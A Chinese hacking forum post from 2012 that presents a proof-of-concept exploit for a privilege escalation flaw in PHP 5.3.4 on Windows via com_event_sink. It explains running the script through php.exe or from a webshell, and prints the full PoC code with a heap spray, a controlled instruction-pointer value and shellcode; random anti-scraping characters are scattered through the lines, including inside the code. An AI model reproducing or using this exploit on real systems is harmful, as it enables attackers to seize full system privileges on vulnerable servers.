找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中8 J1 S7 Y  D4 r0 ^0 y0 w. p
7 a6 Z) }2 v2 I: J4 W' I) |
测试方法如下:cmd /c x:\php\php.exe x:\test.php0 D+ |% G) W- J  `8 X2 y1 o/ ?
! b- B; j) F( [1 T8 w% d; o& n
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
. F5 b! L; n  X' s7 Q. p, k  J这里是两个测试的截图:' k' [; H  s# k$ n( K0 Y/ F: b; V* p

% p* E! z  C5 n5 e+ }* I! U# D4 k& Q( T0 p
  B3 P+ V3 k1 K0 ~
1 Q" J4 z- _' ]/ U/ Z9 B9 K: }
! l% S/ C! o' P1 n1 I4 ?& n; E% z
成功利用此漏洞的攻击者将获得系统的最高权限- l+ ?( f/ Z; C, Q5 ~

. C3 Z( \- i  x7 E; D8 R# B
" X) I$ j, F6 ^* C9 o3 `! o, o/ _0 s- u2 b- o
6 A/ X9 E+ Q( {1 b6 s

; l! B4 c6 _, p% a2 O关于漏洞分析稍后附上。一下是PoC代码:
" f1 h3 M' B' ?3 H9 s
5 ]. L' \( F" I7 c<?php
& |( ?+ ?# \/ p. S) A//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞$ D, R, Z& ?) c; \( x8 y  J5 t
//$eip ="\x44\x43\x42\x41";
+ F, W: a2 V/ a- |6 i; h7 S$eip= "\x4b\xe8\x57\x78";) |9 L- k: @. l/ Y; `
$eax ="\x80\x01\x8d\x04";/ R, @, h* f8 L8 Q. ^3 W2 }
$deodrant="";/ R  f$ r6 O# j, E8 O
$axespray = str_repeat($eip.$eax,0x80);
' X& `# u  r0 r+ }, }4 _4 m$ ?) r//048d0190
% s; d/ t1 I* b2 g) D- |echo strlen($axespray);
: r3 i. d+ r/ \# r/ K# g  U3 Recho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";# ^. f% C* V2 S* C! ]6 A3 ^) I( O
echo "Silic Group Hacker Army - BlackBap.Org";& Y) `+ p9 u+ @: l: w4 a0 T7 `
//19200 ==4B32 4b00, ]# \" P. A, T
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
$ x3 I$ J) l& x! L+ [' I( {* d$terminate = "T";+ o4 i6 c9 u; @
$u[] =$deodrant;
; Z" c8 f8 K$ r0 V$ y0 k$r[] =$deodrant.$terminate;
8 z5 `9 g* b6 |0 n2 Q+ y! m$a[] =$deodrant.$terminate;
" v* ?$ A. ^) x+ M! s$s[] =$deodrant.$terminate;
$ H6 y1 ?8 J3 A) S4 h% {& ?8 [5 _//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的$ H7 h4 k4 R% B& o$ @' y; r5 s
$vVar = new VARIANT(0x048d0000+180);
; E1 T+ g/ ~, W) l//弹窗代码(Shellcode)' h/ d" [" C: D7 q/ r6 z
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";0 x5 `) a2 S3 P7 F8 N$ Q' e  b
$var2 = new VARIANT(0x41414242);
; C; L. R: B# ]/ }: P# N: scom_event_sink($vVar,$var2,$buffer);
9 q; K4 {2 b' n# s( R3 m5 Z?>
, U* j' [, H* v1 t

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表